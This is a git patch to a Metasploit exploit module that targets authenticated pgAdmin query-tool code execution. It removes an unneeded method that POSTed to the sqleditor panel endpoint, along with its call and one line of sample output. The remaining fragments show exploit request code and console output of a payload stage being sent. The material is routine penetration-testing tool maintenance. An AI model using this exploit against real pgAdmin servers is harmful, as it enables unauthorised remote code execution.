From ddb29d61813cf2cd973ca2b35f82723c8b8fd67b Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Thu, 10 Apr 2025 07:18:42 -0700 Subject: [PATCH] Removed unnecessary method --- .../http/pgadmin_query_tool_authenticated.md | 1 - .../http/pgadmin_query_tool_authenticated.rb | 20 ------------------- 2 files changed, 21 deletions(-) diff --git a/documentation/modules/exploit/multi/http/pgadmin_query_tool_authenticated.md b/documentation/modules/exploit/multi/http/pgadmin_query_tool_authenticated.md index 0c16e8d9a6..c4719a5f18 100644 --- a/documentation/modules/exploit/multi/http/pgadmin_query_tool_authenticated.md +++ b/documentation/modules/exploit/multi/http/pgadmin_query_tool_authenticated.md @@ -61,7 +61,6 @@ msf6 exploit(multi/http/pgadmin_query_tool_authenticated) > run db_name=postgres [*] Trying server ID: 1 [*] Trying server ID: 2 [*] Trying server ID: 3 -[+] Successfully posted to sqleditor panel with transaction ID: 9377994 and sid: 3 [+] Successfully initialized sqleditor [*] Exploiting the target... [*] Sending stage (24772 bytes) to 172.16.199.1 diff --git a/modules/exploits/multi/http/pgadmin_query_tool_authenticated.rb b/modules/exploits/multi/http/pgadmin_query_tool_authenticated.rb index ebc158e24d..077fa4f56d 100644 --- a/modules/exploits/multi/http/pgadmin_query_tool_authenticated.rb +++ b/modules/exploits/multi/http/pgadmin_query_tool_authenticated.rb @@ -84,25 +84,6 @@ class MetasploitModule < Msf::Exploit::Remote }) end - def post_sqleditor_panel(trans_id, sgid, sid, did) - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, "/sqleditor/panel/#{trans_id}?is_query_tool=true&sgid=#{sgid}&sid=#{sid}&did=#{did}&database_name=#{datastore['DB_NAME']}"), - 'method' => 'POST', - 'keep_cookies' => true, - 'ctype' => 'application/x-www-form-urlencoded', - 'headers' => { - 'X-pgA-CSRFToken' => csrf_token - }, - 'data' => get_post_data - }) - - unless res&.code == 200 - errmsg = res&.get_json_document&.dig('errormsg') || 'unknown error' - fail_with(Failure::UnexpectedReply, "POST request to sqleditor panel failed: #{errmsg}") - end - print_good("Successfully posted to sqleditor panel with transaction ID: #{trans_id} and sid: #{sid}") - end - def post_initialize_sqleditor(trans_id, sgid, sid, did) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, "/sqleditor/initialize/sqleditor/#{trans_id}/#{sgid}/#{sid}/#{did}"), @@ -152,7 +133,6 @@ class MetasploitModule < Msf::Exploit::Remote sgid = rand(1..10) did = rand(10000..99999) sid = find_valid_server_id(sgid) - post_sqleditor_panel(trans_id, sgid, sid, did) post_initialize_sqleditor(trans_id, sgid, sid, did) end